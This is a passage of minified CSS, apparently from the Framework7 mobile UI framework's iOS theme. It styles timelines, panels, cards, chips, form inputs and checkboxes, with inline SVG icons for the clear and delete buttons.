.timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date{width:auto;padding-left:calc(10px + constant(safe-area-inset-left));padding-left:calc(10px + env(safe-area-inset-left));left:calc(0px - constant(safe-area-inset-left));left:calc(0px - env(safe-area-inset-left));right:0}.ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal){padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child{overflow:visible}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right));left:0}.ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal){padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}}.ios .theme-dark .timeline-month-title,.ios .theme-dark .timeline-year-title{background:#1b1b1b}.ios .theme-dark .timeline-item-inner{background-color:#1c1c1d}.ios .theme-dark .timeline-item-time{color:#8e8e93}.ios .theme-dark .timeline-horizontal .timeline-item-date,.timeline-horizontal.ios .theme-dark .timeline-item-date{background:#1b1b1b}.ios .theme-dark .timeline-horizontal .timeline-item-date:after,.timeline-horizontal.ios .theme-dark .timeline-item-date:after{background-color:#282829}.ios .theme-dark .timeline-horizontal .timeline-month .timeline-item:before,.timeline-horizontal.ios .theme-dark .timeline-month .timeline-item:before{background-color:#282829}.ios .theme-dark .timeline-horizontal .timeline-item:after,.timeline-horizontal.ios .theme-dark .timeline-item:after{background-color:#282829}.ios .theme-dark .timeline-horizontal .timeline-year:after,.timeline-horizontal.ios .theme-dark .timeline-year:after{background-color:#282829}.tabs .tab{display:none}.tabs .tab-active{display:block}.tabs-animated-wrap{position:relative;width:100%;overflow:hidden;height:100%}.tabs-animated-wrap>.tabs{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;height:100%;-webkit-transition-duration:.3s;transition-duration:.3s}.tabs-animated-wrap>.tabs>.tab{width:100%;display:block;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.tabs-animated-wrap.not-animated>.tabs{-webkit-transition-duration:.3s;transition-duration:.3s}.tabs-swipeable-wrap{height:100%}.tabs-swipeable-wrap>.tabs{height:100%}.tabs-swipeable-wrap>.tabs>.tab{display:block}.page>.tabs{height:100%}.panel-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;opacity:0;z-index:5999;display:none;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.panel-backdrop.not-animated{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel{z-index:1000;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;overflow:auto;-webkit-overflow-scrolling:touch;top:0;height:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);width:260px;background-color:#fff}.panel.not-animated{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel.panel-reveal.not-animated~.view,.panel.panel-reveal.not-animated~.views{-webkit-transition-duration:0s!important;transition-duration:0s!important}.panel-cover{z-index:6000}.panel-left{left:0}.panel-left.panel-cover{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.panel-right{right:0}.panel-right.panel-cover{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.panel-visible-by-breakpoint{display:block;-webkit-transform:translate3d(0,0,0)!important;transform:translate3d(0,0,0)!important}.panel-visible-by-breakpoint.panel-cover{z-index:5900}html.with-panel .framework7-root>.view .page-content,html.with-panel .framework7-root>.views .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}html.with-panel-left-cover .panel-backdrop,html.with-panel-right-cover .panel-backdrop{display:block;opacity:1}html.with-panel-left-reveal .panel-backdrop,html.with-panel-right-reveal .panel-backdrop,html.with-panel-transitioning .panel-backdrop{background:rgba(0,0,0,0);display:block;opacity:0}html.with-panel-left-reveal .framework7-root>.view,html.with-panel-left-reveal .panel-backdrop,html.with-panel-left-reveal .views{-webkit-transform:translate3d(260px,0,0);transform:translate3d(260px,0,0)}html.with-panel-right-reveal .framework7-root>.view,html.with-panel-right-reveal .panel-backdrop,html.with-panel-right-reveal .views{-webkit-transform:translate3d(-260px,0,0);transform:translate3d(-260px,0,0)}html.with-panel-left-cover .panel-left{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.with-panel-right-cover .panel-right{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.with-statusbar.device-ios .panel,html.with-statusbar.ios:not(.device-ios):not(.device-android) .panel{top:20px;height:calc(100% - 20px)}html.with-statusbar.device-android .panel,html.with-statusbar.md:not(.device-ios):not(.device-android) .panel{top:24px;height:calc(100% - 24px)}html.with-statusbar.device-iphone-x .panel{top:constant(safe-area-inset-top);top:env(safe-area-inset-top);height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top))}.ios .panel-backdrop{-webkit-transition-duration:.4s;transition-duration:.4s;background:rgba(0,0,0,0)}.ios .panel{-webkit-transition-duration:.4s;transition-duration:.4s}.ios.with-panel-left-reveal .framework7-root>.view,.ios.with-panel-left-reveal .views,.ios.with-panel-right-reveal .framework7-root>.view,.ios.with-panel-right-reveal .views,.ios.with-panel-transitioning .framework7-root>.view,.ios.with-panel-transitioning .views{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.card .list>ul:before,.cards-list>ul:before{display:none!important}.card .list>ul:after,.cards-list>ul:after{display:none!important}.card{background:#fff;position:relative;border-radius:4px;font-size:14px}.card .block,.card .list{margin:0}.row:not(.no-gap) .col>.card{margin-left:0;margin-right:0}.card-content{position:relative}.card-content-padding{position:relative}.card-content-padding>p:first-child{margin-top:0}.card-content-padding>p:last-child{margin-bottom:0}.card-footer,.card-header{min-height:44px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.card-footer[valign=top],.card-header[valign=top]{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.card-footer[valign=bottom],.card-header[valign=bottom]{-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end}.card-footer a.link,.card-header a.link{position:relative}.card-footer a.link i.icon,.card-header a.link i.icon{display:block}.card-footer a.icon-only,.card-header a.icon-only{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:0}.card-header{border-radius:4px 4px 0 0}.card-header:after{content:'';position:absolute;background-color:#e1e1e1;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .card-header:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .card-header:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.card-header.no-hairline:after{display:none!important}.card-footer{border-radius:0 0 4px 4px}.card-footer:before{content:'';position:absolute;background-color:#e1e1e1;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}html.device-pixel-ratio-2 .card-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .card-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.card-footer.no-hairline:before{display:none!important}.ios .card .list ul,.ios .cards-list ul{background:0 0}.ios .card{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.3);box-shadow:0 1px 2px rgba(0,0,0,.3);margin:10px}.ios .card-outline{-webkit-box-shadow:none;box-shadow:none;border:1px solid rgba(0,0,0,.12)}.ios .card-footer a.link,.ios .card-header a.link{line-height:44px;height:44px;margin-top:-10px;margin-bottom:-10px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.ios .card-footer a.icon-only,.ios .card-header a.icon-only{min-width:44px}.ios .card-content-padding{padding:15px}.ios .card-content-padding>.block,.ios .card-content-padding>.list{margin:-15px}.ios .card-footer,.ios .card-header{min-height:44px;padding:10px 15px}.ios .card-header{font-size:17px}.ios .card-footer{color:#6d6d72}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(10px + constant(safe-area-inset-left));margin-left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(10px + constant(safe-area-inset-right));margin-right:calc(10px + env(safe-area-inset-right))}}.ios .theme-dark .card{background-color:#1c1c1d}.ios .theme-dark .card-outline{border-color:#282829}.ios .theme-dark .card-header:after{background-color:#282829}.ios .theme-dark .card-footer{color:#8e8e93}.ios .theme-dark .card-footer:before{background-color:#282829}.chip{font-weight:400;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:2px 0}.chip-media{border-radius:50%;text-align:center;color:#fff;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.chip-media img{max-width:100%;max-height:100%;width:auto;height:auto;border-radius:50%;display:block}.chip-label{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;position:relative;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.chip-delete{text-align:center;cursor:pointer;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;background-repeat:no-repeat}.chip .chip-delete.active-state{opacity:1}.ios .chip{font-size:13px;color:#000;background:rgba(0,0,0,.12);height:24px;border-radius:12px;padding:0 10px}.ios .chip-outline{background:0 0;border:1px solid rgba(0,0,0,.12)}.ios .chip-media{width:24px;height:24px;vertical-align:middle;border-radius:50%;text-align:center;line-height:16px;color:#fff;font-size:12px;-webkit-box-sizing:border-box;box-sizing:border-box;margin-right:-10px}.ios .chip-media+.chip-label{margin-right:4px}.ios .chip-media i.icon{font-size:16px;height:16px}.ios .chip-delete{width:24px;height:24px;line-height:24px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23000'%2F%3E%3Cline%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E");background-position:center;background-size:14px 14px;opacity:.54;margin-left:-10px}.ios .theme-dark .chip{background-color:#333;color:#fff}.ios .theme-dark .chip-outline{background:0 0;border-color:#333}.ios .theme-dark .chip-delete{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23fff'%2F%3E%3Cline%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E")}.ios .chip.color-red{background:#ff3b30;color:#fff}.ios .chip.color-red.chip-outline{background:0 0;border-color:#ff3b30;color:#ff3b30}.ios .chip.color-green{background:#4cd964;color:#fff}.ios .chip.color-green.chip-outline{background:0 0;border-color:#4cd964;color:#4cd964}.ios .chip.color-blue{background:#007aff;color:#fff}.ios .chip.color-blue.chip-outline{background:0 0;border-color:#007aff;color:#007aff}.ios .chip.color-pink{background:#ff2d55;color:#fff}.ios .chip.color-pink.chip-outline{background:0 0;border-color:#ff2d55;color:#ff2d55}.ios .chip.color-yellow{background:#fc0;color:#fff}.ios .chip.color-yellow.chip-outline{background:0 0;border-color:#fc0;color:#fc0}.ios .chip.color-orange{background:#ff9500;color:#fff}.ios .chip.color-orange.chip-outline{background:0 0;border-color:#ff9500;color:#ff9500}.ios .chip.color-gray{background:#8e8e93;color:#fff}.ios .chip.color-gray.chip-outline{background:0 0;border-color:#8e8e93;color:#8e8e93}.ios .chip.color-white{background:#fff;color:#fff}.ios .chip.color-white.chip-outline{background:0 0;border-color:#fff;color:#fff}.ios .chip.color-black{background:#000;color:#fff}.ios .chip.color-black.chip-outline{background:0 0;border-color:#000;color:#000}input[type=date],input[type=datetime-local],input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],select,textarea{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;-webkit-box-shadow:none;box-shadow:none;border-radius:0;outline:0;display:block;padding:0;margin:0;font-family:inherit;background:0 0;resize:none;font-size:inherit;color:inherit}.textarea-resizable-shadow{opacity:0;position:absolute;z-index:-1000;pointer-events:none;left:-1000px;top:-1000px;visibility:hidden}.list input[type=date],.list input[type=datetime-local],.list input[type=email],.list input[type=number],.list input[type=password],.list input[type=search],.list input[type=tel],.list input[type=text],.list input[type=time],.list input[type=url],.list select,.list textarea{width:100%}.list input[type=datetime-local]{max-width:50vw}.list input[type=date],.list input[type=datetime-local]{line-height:44px}.list input[type=date],.list input[type=datetime-local]{text-align:right;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;width:auto}.list textarea{resize:none;line-height:1.4;height:100px}.list .item-floating-label,.list .item-label{vertical-align:top;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.list .item-input-wrap{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative}.input{position:relative}.input input,.input select,.input textarea{width:100%}.input-clear-button{opacity:0;pointer-events:none;visibility:hidden;-webkit-transition-duration:.1s;transition-duration:.1s;position:absolute;top:50%;border-radius:50%;border:none;padding:0;margin:0;outline:0;z-index:1;cursor:pointer;background:0 0;left:0}.input-clear-button:after{content:'';position:absolute;width:100%;height:100%;left:0;top:0;background-repeat:no-repeat;background-position:center center}.input-clear-button:before{position:absolute;content:'';left:50%;top:50%}.input-with-value .input-clear-button,.input-with-value~.input-clear-button,.item-input-with-value .input-clear-button{opacity:1;pointer-events:auto;visibility:visible}.input-dropdown,.input-dropdown-wrap{position:relative}.input-dropdown-wrap:before,.input-dropdown:before{content:'';pointer-events:none;position:absolute;top:50%;margin-top:-2px;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #727272;left:2px}.input-dropdown input,.input-dropdown select,.input-dropdown textarea,.input-dropdown-wrap input,.input-dropdown-wrap select,.input-dropdown-wrap textarea{padding-right:14px}.ios .list input[type=date],.ios .list input[type=datetime-local],.ios .list input[type=email],.ios .list input[type=number],.ios .list input[type=password],.ios .list input[type=search],.ios .list input[type=tel],.ios .list input[type=text],.ios .list input[type=time],.ios .list input[type=url],.ios .list select{height:44px;color:#000;font-size:17px}.ios .list textarea{color:#000;font-size:17px;padding-top:11px;padding-bottom:11px}.ios .list textarea.resizable{height:44px}.ios .item-floating-label,.ios .item-label{font-size:12px;width:100%;line-height:1;overflow:visible}.ios .item-floating-label+.item-input-wrap,.ios .item-label+.item-input-wrap{margin-top:0}.ios .item-input .item-inner{display:block}.ios .item-input .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.ios .item-input-wrap{margin-top:-8px;margin-bottom:-8px}.ios .inline-label .item-inner,.ios .inline-labels .item-inner{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.ios .inline-label .item-floating-label,.ios .inline-label .item-label,.ios .inline-labels .item-floating-label,.ios .inline-labels .item-label{font-size:17px;width:35%;line-height:1.4;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;padding-top:3px}.ios .inline-label .item-floating-label+.item-input-wrap,.ios .inline-label .item-label+.item-input-wrap,.ios .inline-labels .item-floating-label+.item-input-wrap,.ios .inline-labels .item-label+.item-input-wrap{margin-top:-8px;margin-right:5px}.ios .inline-label .item-input-wrap,.ios .inline-labels .item-input-wrap{margin-top:-8px}.ios .item-input-with-error-message .item-input-wrap input,.ios .item-input-with-error-message .item-input-wrap select,.ios .item-input-with-error-message .item-input-wrap textarea,.ios div.input-with-error-message input,.ios div.input-with-error-message select,.ios div.input-with-error-message textarea,.ios span.input-with-error-message input,.ios span.input-with-error-message select,.ios span.input-with-error-message textarea{color:#ff3b30}.ios .input-error-message,.ios .input-info,.ios .item-input-error-message,.ios .item-input-info{font-size:12px;line-height:1.4;position:relative;margin-bottom:6px;margin-top:-8px}.ios .input-info,.ios .item-input-info{color:#8e8e93}.ios .input-error-message,.ios .item-input-error-message{color:#ff3b30;display:none}.ios .item-input-invalid .item-input-error-message{display:block}.ios .item-input-invalid .item-input-info{display:none}.ios .input-invalid .input-error-message{display:block}.ios .input-invalid .input-info{display:none}.ios .input-clear-button{width:14px;height:14px;margin-top:-7px}.ios .input-clear-button:after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%238e8e93'%2F%3E%3Cline%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E");background-size:14px 14px}.ios .input-clear-button:before{width:44px;height:44px;margin-left:-22px;margin-top:-22px}.ios .item-input-wrap .input-clear-button{top:22px}.ios .theme-dark .list input[type=date],.ios .theme-dark .list input[type=datetime-local],.ios .theme-dark .list input[type=email],.ios .theme-dark .list input[type=number],.ios .theme-dark .list input[type=password],.ios .theme-dark .list input[type=search],.ios .theme-dark .list input[type=tel],.ios .theme-dark .list input[type=text],.ios .theme-dark .list input[type=time],.ios .theme-dark .list input[type=url],.ios .theme-dark .list select,.list.ios .theme-dark input[type=date],.list.ios .theme-dark input[type=datetime-local],.list.ios .theme-dark input[type=email],.list.ios .theme-dark input[type=number],.list.ios .theme-dark input[type=password],.list.ios .theme-dark input[type=search],.list.ios .theme-dark input[type=tel],.list.ios .theme-dark input[type=text],.list.ios .theme-dark input[type=time],.list.ios .theme-dark input[type=url],.list.ios .theme-dark select{color:#fff}.ios .theme-dark .list textarea,.list.ios .theme-dark textarea{color:#fff}.checkbox i,.icon-checkbox{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.checkbox{position:relative;display:inline-block;vertical-align:middle;z-index:1}.checkbox,label.item-checkbox{cursor:pointer}.checkbox input[type=checkbox],.checkbox input[type=radio],label.item-checkbox input[type=checkbox],label.item-checkbox input[type=radio]{display:none}.checkbox .icon-checkbox,label.item-checkbox 